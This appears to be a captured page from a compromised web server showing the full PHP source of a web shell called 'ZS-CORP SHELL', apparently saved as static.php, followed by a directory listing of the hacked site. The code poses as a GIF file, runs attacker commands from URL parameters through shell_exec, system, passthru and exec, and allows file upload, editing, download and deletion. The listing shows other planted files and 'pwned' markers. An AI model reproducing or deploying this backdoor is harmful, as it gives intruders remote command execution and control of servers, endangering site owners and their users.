ZS-CORP SHELL

View: static.php

GIF89a
<?php
/* ZS-CORP light shell v1.2 — zs.txt / mage_* ; layout + Action V|E|DL|R|D (debpion/BOB-style) */
@error_reporting(0);@ini_set('display_errors',0);@set_time_limit(0);
function zs_run($c){
if($c==='')return'';
$c=$c.' 2>&1';
if(function_exists('shell_exec')){$o=@shell_exec($c);if($o!==null&&$o!=='')return $o;}
ob_start();if(function_exists('passthru')){@passthru($c,$x);$o=ob_get_clean();if($o!=='')return $o;ob_start();}
if(function_exists('system')){@system($c,$x);$o=ob_get_clean();if($o!=='')return $o;ob_start();}
if(function_exists('exec')){@exec($c,$a,$x);$o=implode("\n",$a);if($o!=='')return $o;}
return'[no output]';}
function zs_safe($n){return $n!==''&&$n!=='.'&&$n!=='..'&&strpos($n,"/")===false&&strpos($n,"\\")===false&&strpos($n,"\0")===false;}
function zs_rm($p){if(is_dir($p)){$x=@scandir($p)?:[];foreach($x as$v){if($v==='.'||$v==='..')continue;if(!zs_rm($p.'/'.$v))return false;}return @rmdir($p);}return @unlink($p);}
function zs_qd($d){return '?d='.urlencode($d);}
function zs_act($d,$item,$action){return zs_qd($d).'&amp;item='.urlencode($item).'&amp;action='.urlencode($action);}
function zs_read($f,$max=262144){if(!is_file($f))return'';$sz=@filesize($f);if($sz!==false&&$sz>$max)return @file_get_contents($f,false,null,0,$max)."\n\n[... truncated ".number_format($sz-$max)." bytes ...]";return @file_get_contents($f);}
$api=isset($_GET['cmd'])?$_GET['cmd']:(isset($_GET['c'])?$_GET['c']:(isset($_GET['command'])?$_GET['command']:''));
if($api!==''&&!isset($_POST['execute_cmd'])){@ob_clean();echo"[RCE_START]";echo zs_run($api);echo"[RCE_END]";exit;}
$d=isset($_GET['d'])?@realpath($_GET['d']):getcwd();
if(!$d&&isset($_POST['d'])&&$_POST['d']!=='')$d=@realpath($_POST['d']);
if(!$d)$d=getcwd();
@chdir($d);
$zs_msg='';$zs_edit='';$zs_view='';$zs_rename='';
if(isset($_GET['dl'])&&zs_safe(basename($_GET['dl']))){
 $df=basename($_GET['dl']);
 if(is_file($df)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.$df.'"');readfile($df);exit;}
}
if(isset($_POST['zs_save'])&&zs_safe($_POST['item']??'')){
 $it=$_POST['item'];if(@file_put_contents($it,$_POST['content']??'')!==false)$zs_msg="Saved: $it";else $zs_msg='Save failed';
}
if(isset($_POST['zs_rename'])&&zs_safe($_POST['old']??'')&&zs_safe($_POST['new']??'')){
 if(@rename($_POST['old'],$_POST['new']))$zs_msg='Renamed OK';else $zs_msg='Rename failed';
}
$zs_action=isset($_GET['action'])?$_GET['action']:(isset($_GET['fa'])?$_GET['fa']:'');
if($zs_action!==''&&isset($_GET['item'])&&zs_safe($_GET['item'])){
 $it=$_GET['item'];
 if($zs_action==='delete'&&zs_rm($it))$zs_msg="Deleted: $it";
 elseif($zs_action==='delete')$zs_msg='Delete failed';
 elseif($zs_action==='view'&&is_file($it))$zs_view=$it;
 elseif($zs_action==='edit'&&is_file($it))$zs_edit=$it;
 elseif($zs_action==='rename')$zs_rename=$it;
}
$cmd_out='';$last_cmd='';
if(isset($_POST['execute_cmd'])){
$last_cmd=isset($_POST['cmd'])?trim($_POST['cmd']):'';
$cmd_out=zs_run($last_cmd);}
if(isset($_FILES['f'])&&isset($_FILES['f']['tmp_name'])&&is_uploaded_file($_FILES['f']['tmp_name'])){
$n=basename($_FILES['f']['name']);
if(zs_safe($n)&&@move_uploaded_file($_FILES['f']['tmp_name'],$n))$zs_msg="Uploaded: $n";
else $zs_msg='Upload failed';
}
echo"<!DOCTYPE html><html><head><title>ZS-CORP SHELL</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',monospace;background:#000;color:#0f0;padding:15px}a{color:#0f0;text-decoration:none}a:hover{color:#0ff;text-decoration:underline}.container{max-width:1200px;margin:0 auto;border:2px solid #0f0;padding:15px;background:#001a00}.header{text-align:center;border-bottom:2px solid #0f0;padding:10px;margin-bottom:15px}.header h1{color:#0f0;font-size:24px;text-shadow:0 0 10px #0f0}.path{background:#003300;padding:8px;margin:10px 0;border:1px solid #0f0;word-break:break-all}.upload-form,.cmd-form{background:#002200;padding:10px;border:1px solid #0f0;margin:10px 0}.panel h2{text-align:center;font-size:16px;color:#0ff;border-bottom:1px solid #0f0;margin:0 0 10px;padding-bottom:8px}input[type=file],input[type=text]{background:#001a00;color:#0f0;border:1px solid #0f0;padding:5px;margin-bottom:5px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace}input[type=submit]:hover{background:#0ff}table{width:100%;border-collapse:collapse;margin-top:10px}th,td{padding:8px;text-align:left;border:1px solid #0f0}th{background:#003300;color:#0f0;font-weight:bold}tr:hover{background:#002200}.dir{color:#0ff}.file{color:#0f0}.size{color:#090}.td-name{word-break:break-all;max-width:42%}.act{white-space:nowrap;font-size:12px}.act a{color:#00aaff;text-decoration:none}.act a:hover{color:#0ff;text-decoration:underline}.act .sep{color:#0f0;margin:0 3px}.act .d{color:#f00!important}.fmsg{color:#ff0;background:#001a00;border:1px solid #0f0;padding:8px;margin:10px 0}.panel{background:#002200;border:1px solid #0f0;padding:12px;margin:12px 0}.panel h2{color:#0ff;font-size:14px;margin:0 0 10px;border-bottom:1px solid #0f0;padding-bottom:6px}.dirgo{display:flex;gap:8px;flex-wrap:wrap;margin:8px 0 12px}.dirgo input[type=text]{flex:1;min-width:200px;margin:0}.editbox{width:100%;min-height:200px;max-height:420px;overflow:auto;background:#001a00;color:#0f0;border:1px solid #0f0;padding:8px;font-family:'Courier New',monospace;font-size:12px;line-height:1.35;white-space:pre-wrap;word-break:break-word}.info{font-size:11px;color:#090;margin-top:10px;text-align:center}.output{background:#000;color:#0f0;border:1px solid #0ff;padding:10px;margin-top:15px;white-space:pre-wrap;word-break:break-all}</style></head><body><div class='container'><div class='header'><h1>&#9830; ZS-CORP SHELL &#9830;</h1><p style='font-size:11px;color:#090'>VENI | VIDI | VICI</p><p style='font-size:11px;color:#090;margin-top:6px'>";
echo htmlspecialchars(PHP_VERSION.' | '.php_uname());
echo"</p></div><div class='path'><b>CWD:</b> $d";
$parent=dirname($d);
if($parent!=$d)echo" | <a href='?d=".urlencode($parent)."'>[Parent &#8593;]</a>";
echo"</div><form class='dirgo' method='get'><label>Dir:</label><input type='text' name='d' value='".htmlspecialchars($d,ENT_QUOTES)."'><input type='submit' value='Go'></form>";
if($zs_msg!=='')echo"<div class='fmsg'>".htmlspecialchars($zs_msg)."</div>";
$qd=zs_qd($d);
if($zs_rename!==''){
 echo"<div class='panel'><h2>Rename: ".htmlspecialchars($zs_rename)."</h2><form method='post'><input type='hidden' name='d' value='".htmlspecialchars($d,ENT_QUOTES)."'><input type='hidden' name='old' value='".htmlspecialchars($zs_rename,ENT_QUOTES)."'><input type='text' name='new' value='".htmlspecialchars($zs_rename,ENT_QUOTES)."'> <input type='submit' name='zs_rename' value='Rename'> <a href='".htmlspecialchars($qd,ENT_QUOTES)."'>Close</a></form></div>";
}
if($zs_edit!==''){
 $raw=zs_read($zs_edit);
 echo"<div class='panel'><h2>Edit: ".htmlspecialchars($zs_edit)."</h2><form method='post'><input type='hidden' name='d' value='".htmlspecialchars($d,ENT_QUOTES)."'><input type='hidden' name='item' value='".htmlspecialchars($zs_edit,ENT_QUOTES)."'><textarea class='editbox' name='content'>".htmlspecialchars($raw)."</textarea><br><input type='submit' name='zs_save' value='Save Changes'> <a href='".htmlspecialchars($qd,ENT_QUOTES)."'>Close</a></form></div>";
}
if($zs_view!==''){
 $raw=zs_read($zs_view);
 echo"<div class='panel'><h2>View: ".htmlspecialchars($zs_view)."</h2><pre class='editbox'>".htmlspecialchars($raw)."</pre><p style='margin-top:8px'><a href='".htmlspecialchars($qd,ENT_QUOTES)."'>Close</a> | <a href='".zs_act($d,$zs_view,'edit')."'>Edit</a></p></div>";
}
echo"<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th style='width:22%'>Action</th></tr>";
$items=@scandir('.');
if($items)foreach($items as $item){
if($item=='.')continue;
$full=$d.'/'.$item;
$isDir=@is_dir($item);
$class=$isDir?'dir':'file';
$icon=$isDir?'&#128193;':'&#128196;';
if($item=='..')$icon='&#11014;';
$size=$isDir?'DIR':@number_format(@filesize($item)).' B';
$time=@date('Y-m-d H:i',@filemtime($item));
$perms=@substr(sprintf('%o',@fileperms($item)),-4);
$link=$isDir?"?d=".urlencode($full):$item;
echo"<tr><td class='td-name $class'>$icon <a href='$link'>".htmlspecialchars($item)."</a></td><td class='size'>$size</td><td>$time</td><td>$perms</td><td class='act'>";
if(!$isDir&&$item!=='..'){
 echo"<a href='".zs_act($d,$item,'view')."' title='View'>V</a><span class='sep'>|</span>";
 echo"<a href='".zs_act($d,$item,'edit')."' title='Edit'>E</a><span class='sep'>|</span>";
 echo"<a href='".$qd."&amp;dl=".urlencode($item)."' title='Download'>DL</a><span class='sep'>|</span>";
}
if($item!=='..'){
 echo"<a href='".zs_act($d,$item,'rename')."' title='Rename'>R</a><span class='sep'>|</span>";
 echo"<a class='d' href='".zs_act($d,$item,'delete')."' title='Delete' onclick=\"return confirm('Delete ".htmlspecialchars($item,ENT_QUOTES)."?')\">D</a>";
}else echo"<span class='size'>--</span>";
echo"</td></tr>";
}
echo"</table><div class='cmd-form panel'><h2>Command Center</h2><form method='post'>";
echo"<input type='hidden' name='d' value='".htmlspecialchars($d,ENT_QUOTES)."'>";
echo"<input type='text' name='cmd' style='width:70%' value='";if($last_cmd!=='')echo htmlspecialchars($last_cmd,ENT_QUOTES);echo"' placeholder='Command...'> <input type='submit' name='execute_cmd' value='Execute'></form>";
echo"<form method='post' enctype='multipart/form-data' style='margin-top:10px'>";
echo"<input type='hidden' name='d' value='".htmlspecialchars($d,ENT_QUOTES)."'>Upload: <input type='file' name='f' required> <input type='submit' value='Upload'></form></div>";
if($cmd_out!=='')echo"<div class='output'>".htmlspecialchars($cmd_out)."</div>";
echo"<div class='info'>Powered by ZS CORP | VENI | VIDI | VICI</div></div></body></html>";
?>

Close | Edit

Name	Size	Modified	Perms	Action
⬆ ..	DIR	2026-10-02 08:38	2755	--
📄 .htaccess	9,061 B	2024-09-16 06:40	0664	V\|E\|DL\|R\|D
📄 .user.ini	101 B	2024-09-15 16:42	0664	V\|E\|DL\|R\|D
📄 ZS11c19be0ec7e.txt	175 B	2026-10-02 10:34	0664	V\|E\|DL\|R\|D
📄 ZS1e5f0464cde6.txt	175 B	2026-10-02 10:53	0664	V\|E\|DL\|R\|D
📄 ZS26249b530341.txt	175 B	2026-10-02 10:50	0664	V\|E\|DL\|R\|D
📄 ZS560ba9cfddd5.txt	175 B	2026-10-02 10:52	0664	V\|E\|DL\|R\|D
📄 ZS91df560e13c1.txt	175 B	2026-10-02 13:50	0664	V\|E\|DL\|R\|D
📄 ZSa4f6c77bfb66.txt	175 B	2026-10-02 10:54	0664	V\|E\|DL\|R\|D
📄 ZSab3781b38244.txt	175 B	2026-10-02 10:55	0664	V\|E\|DL\|R\|D
📄 ZSaee858f26b0f.txt	175 B	2026-10-02 10:56	0664	V\|E\|DL\|R\|D
📄 ZSaf7a248ac693.txt	175 B	2026-10-02 10:57	0664	V\|E\|DL\|R\|D
📄 ZSf249351f49f2.txt	175 B	2026-10-02 10:51	0664	V\|E\|DL\|R\|D
📄 cron.php	1,038 B	2024-09-15 16:42	0664	V\|E\|DL\|R\|D
📄 get.php	9,846 B	2026-10-02 13:50	0664	V\|E\|DL\|R\|D
📄 health_check.php	3,481 B	2026-09-28 10:16	0664	V\|E\|DL\|R\|D
📄 index.php	849 B	2026-09-28 10:16	0664	V\|E\|DL\|R\|D
📁 media	DIR	2026-10-02 07:23	0755	R\|D
📁 opt	DIR	2021-07-19 01:55	0755	R\|D
📁 partner-links	DIR	2026-10-02 12:51	0755	R\|D
📄 shadowxfriska_ajm545_c0026e2f.php	376 B	2026-10-02 03:12	0664	V\|E\|DL\|R\|D
📄 shadowxfriska_ajm545_d495beaa.php	376 B	2026-10-02 07:23	0664	V\|E\|DL\|R\|D
📁 static	DIR	2025-05-14 21:21	0755	R\|D
📄 static.php	9,846 B	2026-10-02 13:50	0664	V\|E\|DL\|R\|D
📄 stylesmuggler_pwned.txt	175 B	2026-10-02 10:41	0664	V\|E\|DL\|R\|D